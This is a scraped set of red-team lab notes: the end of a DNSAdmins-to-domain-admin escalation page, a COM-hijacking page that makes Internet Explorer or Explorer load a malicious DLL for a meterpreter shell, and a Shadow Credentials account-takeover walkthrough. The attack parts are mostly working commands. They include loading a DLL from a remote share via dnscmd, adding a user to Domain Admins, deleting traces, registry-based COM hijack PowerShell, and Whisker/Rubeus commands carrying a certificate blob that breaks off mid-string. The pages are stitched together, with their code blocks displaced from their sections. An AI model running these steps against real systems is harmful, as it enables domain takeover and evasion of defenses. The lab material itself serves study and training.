dns.exe service still gets corrupted. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR8vj9yvUH2fK9wIwhu%252F-LR8w9CHtt_ubtREjTD4%252FPeek%25202018-11-12%252021-58.gif%3Falt%3Dmedia%26token%3D92297a88-b02c-44fe-950a-f5432f88fa87&width=768&dpr=3&quality=100&sign=fb7aa1f8&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#observations) Observations --------------------------------------------------------------------------------------------------------------------------------------------------------------------- As a defender, one should considering monitoring for suspicious child processes (rundll32, powershell, cmd, net, etc.) spawned by the dns.exe on DCs: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LR8vj9yvUH2fK9wIwhu%252F-LR8yMOo0_kRg4tTDKu4%252FScreenshot%2520from%25202018-11-12%252022-09-43.png%3Falt%3Dmedia%26token%3D4b4e6677-499d-42d5-9e63-e003af518c38&width=768&dpr=3&quality=100&sign=ed09b462&sv=2) Also, you may want to consider monitoring `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters` value `ServerLevelPluginDll`, especially if it begins with string `\\` in the data field. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#update-1) Update #1 -------------------------------------------------------------------------------------------------------------------------------------------------------------- I was pointed out by a reader that a video by ippsec [https://youtu.be/8KJebvmd1Fk?t=3130](https://youtu.be/8KJebvmd1Fk?t=3130) explains why the dns service was crashing, so please check the video, but if you are too lazy, the answer is provided here too. You need to execute your code in a **new thread** (this was the missing piece in my first attempt that made the service crash) in the exported DLL function `DnsPluginInitialize`, which is the function that gets invoked, when the dnscmd loads our malicious DNS service plugin DLL. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#references) References ----------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=6336508b&sv=2)Feature, not bug: DNSAdmin to DC compromise in one lineMedium](https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83) [Abusing DNSAdmins privilege for escalation in Active Directorywww.labofapenetrationtester.com](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - dim0x69/dns-exe-persistanceGitHub](https://github.com/dim0x69/dns-exe-persistance) [PreviousPrivileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) [NextPass the Hash with Machine$ Accounts](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts) Last updated 4 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#execution) * [Building the DLL](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#building-the-dll) * [Abuse DNS with dnscmd](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#abuse-dns-with-dnscmd) * [Getting code execution with NT\\SYSTEM](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#getting-code-execution-with-nt-system) * [Bonus Reminder](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#bonus-reminder) * [Observations](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#observations) * [Update #1](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#update-1) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise#references) Copy rundll32.exe .\dnsprivesc.dll,DnsPluginInitialize attacker@victim.memberOfDnsAdmins Copy dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll Copy # note that as attacker you cannot check this on a DC since you do not have yet access to the system. Because this is a lab environment, I am checking the registry from the DC itself. Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll attacker@victim Copy sc.exe \\dc01 stop dns sc.exe \\dc01 start dns Copy net group 'domain admins' spotless /add /domain Copy dnsprivesc.dll attacker@victim Copy reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll sc.exe \\10.0.0.6 stop dns sc.exe \\10.0.0.6 start dns //remove any other traces/logs --- # Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse.md) . It's possible to force iexplore.exe (or explorer.exe) to load a malicious DLL and execute it - a technique which could be used when attempting to evade certain defenses. The technique works as follows: * An attacker creates a malicious DLL that he wants iexplore.exe to load and execute - I used a meterpreter payload in this lab * On a victim system, the attacker defines a new COM server by creating the required keys and values in the registry. The previously created malicious DLL will be set to handle the COM client calls. In our case, the DLL will only perform one action - it will execute the meterpreter shellcode upon load * On a vitim system, the attacker uses an existing `ShellWindows` (iexplore or explorer) COM server `9BA05972-F6A8-11CF-A442-00A0C90A8F39`to call our malicious COM server by simply navigating to it * Iexplore.exe loads the malicious DLL * Attacker catches the meterpreter shell This technique _requires_ iexplore.exe to be running on the target system :) See [https://labs.nettitude.com/blog/com-and-the-powerthief/](https://labs.nettitude.com/blog/com-and-the-powerthief/) by Rob Maslen for more details on why this technique works. [](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------------- Below is a powershell code that creates a new COM object with a randomly chosen CLSID `55555555-5555-5555-5555-555555555555` which registers our malicious DLL at `\\VBOXSVR\Experiments\evilm64.dll` to handle incoming calls from COM clients: attacker@victim Copy # Code borrowed from https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1 by Rob Maslen $CLSID = "55555555-5555-5555-5555-555555555555" Remove-Item -Recurse -Force -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" -ErrorAction SilentlyContinue # path to the malicious DLL we want iexplore to load and execute $payload = "\\VBOXSVR\Experiments\evilm64.dll" New-Item -Path "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue | Out-Null New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}" | Out-Null New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" | Out-Null New-Item -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "(default)" -Value $Payload | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "ThreadingModel" -Value "Apartment" | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" -Name "LoadWithoutCOM" -Value "" | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "HideOnDesktop" -Value "" | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" -Name "Attributes" -Value 0xf090013d -PropertyType DWORD | Out-Null Once run, we can see that the new COM object got created successfully in the registry: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LhQoQ_SNdWpmPWQJPEc%252F-LhQqxD51KP7f7TSYzhJ%252FAnnotation%25202019-06-15%2520165723.png%3Falt%3Dmedia%26token%3Dc3b0550d-a2e4-450b-a8b1-eb0b1293da19&width=768&dpr=3&quality=100&sign=b26177d0&sv=2) We are now ready to execute the payload with the below powershell. What happens here is: * We're requesting a new instance of the `ShellWindows` `(9BA05972-F6A8-11CF-A442-00A0C90A8F39)` COM object, which actually applies to both explorer.exe and iexplore.exe, meaning with a handle to that object, we can interface with them using their exposed methods * Specifically, we are interested in getting an instance of a COM object for iexplore.exe, because its COM server has a method `Navigate2(...)` exposed. The `Navigate2` allows us to programatically instruct the iexplore.exe to navigate to a URL. * We are asking iexplore to navigate to our newly created malicious CLSID pointing to our DLL instead of a URL: Code execution in action, resulting in a meterpreter session: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LhQoQ_SNdWpmPWQJPEc%252F-LhQr_ht69SoFWBnUvlm%252Fiecomhijacking.gif%3Falt%3Dmedia%26token%3D23f21619-ab53-4b8a-8498-ca1f34033819&width=768&dpr=3&quality=100&sign=7aa9dec9&sv=2) [](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#shell) Shell::: ------------------------------------------------------------------------------------------------------------------------------------------ As a fun bonus, it's possible to call our malicious COM object via explorer by navigating to `shell:::{55555555-5555-5555-5555-555555555555}` which forces the explorer.exe to load our malicious DLL: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LhQoQ_SNdWpmPWQJPEc%252F-LhR1kY81cLrlj2uvb0H%252FAnnotation%25202019-06-15%2520174905.png%3Falt%3Dmedia%26token%3Dcccbd44c-ff49-478c-bd30-0be217f1b569&width=768&dpr=3&quality=100&sign=733371c9&sv=2) ...and results in a meterpreter shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LhQoQ_SNdWpmPWQJPEc%252F-LhR12XUD9j3fUfOSGHd%252Fexplorerhijack.gif%3Falt%3Dmedia%26token%3D0d0d841c-5f9b-40d5-8cd7-a00083587f5b&width=768&dpr=3&quality=100&sign=8cf3efee&sv=2) [](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#references) References ------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Component Object Model (COM) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/com/component-object-model--com--portal) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Navigate2 method (Internet Explorer)MicrosoftLearn](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752094(v%3Dvs.85)) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.lrqa.com%2Fstatic%2Fimages%2Ffavicons%2FLRQA-Icon-144.png%3Fv%3Dcv11r7Y6KGNPEj8hSroUxxtS9VgObpGtK7VngWjQaiM&width=20&dpr=3&quality=100&sign=bc5876bc&sv=2)COM and the PowerThIEfLRQA](https://labs.nettitude.com/blog/com-and-the-powerthief/) [PreviousPowershell Constrained Language Mode Bypass](https://www.ired.team/offensive-security/code-execution/powershell-constrained-language-mode-bypass) [Nextpubprn.vbs Signed Script Code Execution](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#execution) * [Shell:::](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#shell) * [References](https://www.ired.team/offensive-security/code-execution/forcing-iexplore.exe-to-load-a-malicious-dll-via-com-abuse#references) attacker@victim Copy # force iexplore to load the malicious DLL and execute it $shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-00A0C90A8F39}") $typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid) $shwin = [System.Activator]::CreateInstance($typeShwin) | ? {$_.fullname -match 'iexplore'} | Select-Object -First 1 $shWin.Navigate2("shell:::{$CLSID}", 2048) --- # Shadow Credentials | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials.md) . This is a quick lab to familiarize with a technique called [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) written about by [Elad Shamir](https://medium.com/@elad.shamir?source=post_page-----8ee1a53566ab--------------------------------) . This technique allows an attacker to take over an AD user or computer account if the attacker can modify the target object's (user or computer account) attribute `msDS-KeyCredentialLink` and append it with alternate credentials in the form of certificates. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#pre-requisites) Pre-requisites ---------------------------------------------------------------------------------------------------------------------------------------------- Besides the ability to write the attribute `msDS-KeyCredentialLink` on a target user or computer, for this technique to work, the environment must be set up as follows: * Domain must have Active Directory Certificate Services and Certificate Authority configured. * Domain must have at least one DC running with Windows Server 2016 that supports PKINIT. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#user-account-take-over) User Account Take Over -------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#overview) Overview * `SAC1$` - is a computer account that is misconfigured and can be taken over. `Everyone` can edit its attribute `msDS-KeyCredentialLink`. This machine account is member of Domain Admins group, therefore this is the account that we will take over in this lab, effectively elevating privileges to Domain Admin. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FVKczU7CkCy9EnICBy1dA%252Fimage.png%3Falt%3Dmedia%26token%3D7c4bc9ed-27c1-469b-b513-5d8a1e38fbed&width=768&dpr=3&quality=100&sign=221d1b5a&sv=2) Everyone is allowed to write to SAC1$ computer account object * `regular.user` - a low privileged user that we will use to execute the technique from. * `user-server` - the computer from which the technique will be executed with privileges of `regular.user`. * `first-dc` - domain controller that we will compromise using a compromised `sac1$` computer account. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#walkthrough) Walkthrough Since `Everyone` is allowed to `WRITE` to the `SAC1$` computer account (as mentioned in the overview section), we can execute the technique from any low privileged user's security context and elevate privileges to `Domain Admin`. Let's add the shadow credentials (remember, they will be added by modifying the `msDS-KeyCredentialLink` attribute) to the vulnerable computer account `sac1$` using a tool called [whisker](https://github.com/eladshamir/Whisker) : Below shows that whisker successfully updated the `msDS-KeyCredentialLink` attribute and added the shadow credentials for that account. At the same time, whisker spits out a `rubeus` command that we can then use against the target account `sac1$` to pull its TGT and/or reveal its NTLM hash (for use in Pass The Hash attacks): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FhuLHNrTgF1R4NqQ0S4mA%252Fimage.png%3Falt%3Dmedia%26token%3D949fdc31-2ffa-422c-a6d6-4ba9ae18b363&width=768&dpr=3&quality=100&sign=6ac970aa&sv=2) Adding shadow credentials to sac1$ computer account After the shadow credential has been added to the account, we can confirm that the `msDS-KeyCredentialLink` was indeed added/written to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FqbRqHTl6a1vOpfcV62Gb%252Fimage.png%3Falt%3Dmedia%26token%3Dec0217aa-b3b3-44ef-a72f-5e03a63992c0&width=768&dpr=3&quality=100&sign=5e413d3b&sv=2) SAC1$ with shadow credential set in the attribute `msDS-KeyCredentialLink` We're now ready to take over the `sac1$` computer account and elevate to `Domain Admin`. Before that, let's confirm we cannot access the `c$` share on the domain controller `first-dc.first.local` with `regular.user` privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FxCG6GN8T3Ey3TMsvkc8v%252Fimage.png%3Falt%3Dmedia%26token%3D835b3e5b-9ed8-4b81-bfc6-a6888aea058e&width=768&dpr=3&quality=100&sign=e1d7cd57&sv=2) Attempt to list c$ on the domain controller before shadow credentials attack - fail Let's now pull a TGT for `SAC1$` using the shadow credentials that we've just added and try accessing the `c$` on the domain controller `first-dc` once again: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fs5wdytXmW9WvEe7C67e5%252Fimage.png%3Falt%3Dmedia%26token%3D78cf4a83-abd7-4f51-8fe1-2c642efb5241&width=768&dpr=3&quality=100&sign=628ccc6a&sv=2) Attempt to list c$ on the domain controller after shadow credentials attack - success [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#computer-account-take-over) Computer Account Take Over ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- As mentioned earlier, computer accounts and therfore computers themselves can too be compromised using shadow credentials and this section shows how to do it. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#overview-1) Overview * `User-server2$` - AD computer object that is vulnerable - `Everyone` has full control over it. This is the computer we will take over and gain access to its administrative `c$` share. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FLed6WPB1SaEFLPT8Z7Zi%252Fimage.png%3Falt%3Dmedia%26token%3D96020252-92ef-4c87-a7de-6aa444f8d37d&width=768&dpr=3&quality=100&sign=ba5f9998&sv=2) user-server2$ is over-permissioned and can be taken over by abusing Shadow Credentials * `User-server` - computer from which the technique will be executed. * `Regular.user` - a low privileged user account logged on to `user-server`. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#walkthrough-1) Walkthrough First step is the same as in the user account take over - add shadow credential to the target computer `user-server2$`: Once shadow credentials are added to `user-server2$`, let's pull its TGT: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fxh2E4T6fMbFCzRIOTvEa%252Fimage.png%3Falt%3Dmedia%26token%3D8098043e-15c5-4e6c-a1f9-ae485b464345&width=768&dpr=3&quality=100&sign=5c1b9c19&sv=2) TGT is retrieved for user-server2$ Before gaining administrative access over the computer `user-server2`, let's check we do not already have admin privileges there: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252F1hEkj3E1M9DCHeIjRQaQ%252Fimage.png%3Falt%3Dmedia%26token%3D1ddbc4f3-5a54-4426-a145-dc1a4e88cf8f&width=768&dpr=3&quality=100&sign=86f59d9b&sv=2) Attempt to list c$ admin share fails Let's now request a TGS for `admin@first.local` (domain admin) to the `CIFS` (SMB) service on the target computer `user-server2.first.local` that we want to take over and attempt listing its administrative `c$` once again: Below shows how the TGS is requested and imported to memory, which in turn enables our low privileged user `regular.user` to authenticate to the `user-server2.first.local` and list its `C$` share with an impersonated `Domain Admin` user `admin`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252F4iufXCIa7aOFaozToRmI%252Fimage.png%3Falt%3Dmedia%26token%3Dda0b1cba-42ad-4d17-b5c6-cce7c292b60c&width=768&dpr=3&quality=100&sign=cc75bd9e&sv=2) Computer Account Takeover with shadow credentials is successful Below simply shows the TGS that we have in memory for accessing CIFS service on `user-server2.first.local` while impersonating `admin@first.local`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fn35fPTbkmW6zGo2252Ju%252Fimage.png%3Falt%3Dmedia%26token%3D562207ee-ae9f-4952-855f-d29929d4bd76&width=768&dpr=3&quality=100&sign=9c5bdcd&sv=2) S4U2Self - CIFS service requested TGS to itself on behalf of first\\admin **Operating from Linux** If you're operating from a Linux box, you may execute the Shadow credentials technique using [pyWhisker](https://github.com/ShutdownRepo/pywhisker) (whisker ported to Python) by [https://twitter.com/\_nwodtuhs](https://twitter.com/_nwodtuhs) . [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#references-and-credits) References & Credits ------------------------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fspecterops.io%2Fwp-content%2Fuploads%2Fsites%2F3%2F2022%2F03%2Ffavicon-light.png%3Fw%3D156&width=20&dpr=3&quality=100&sign=61f13b07&sv=2)Shadow Credentials: Abusing Key Trust Account Mapping for Account TakeoverSpecterOps](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) Thanks to [https://twitter.com/gladiatx0r](https://twitter.com/gladiatx0r) for correcting the environment pre-requisites and mentioning [pywhisker](https://github.com/ShutdownRepo/pywhisker) . [PreviousFrom Misconfigured Certificate Template to Domain Admin](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin) [NextAbusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain) Last updated 4 years ago * [Pre-requisites](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#pre-requisites) * [User Account Take Over](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#user-account-take-over) * [Overview](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#overview) * [Walkthrough](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#walkthrough) * [Computer Account Take Over](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#computer-account-take-over) * [Overview](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#overview-1) * [Walkthrough](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#walkthrough-1) * [References & Credits](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#references-and-credits) regular.user@first.local Copy Whisker.exe add /target:sac1$ regular.user@first.local Copy get-netcomputer sac1 regular.user@first.local Copy Rubeus.exe asktgt /user:sac1$ /certificate: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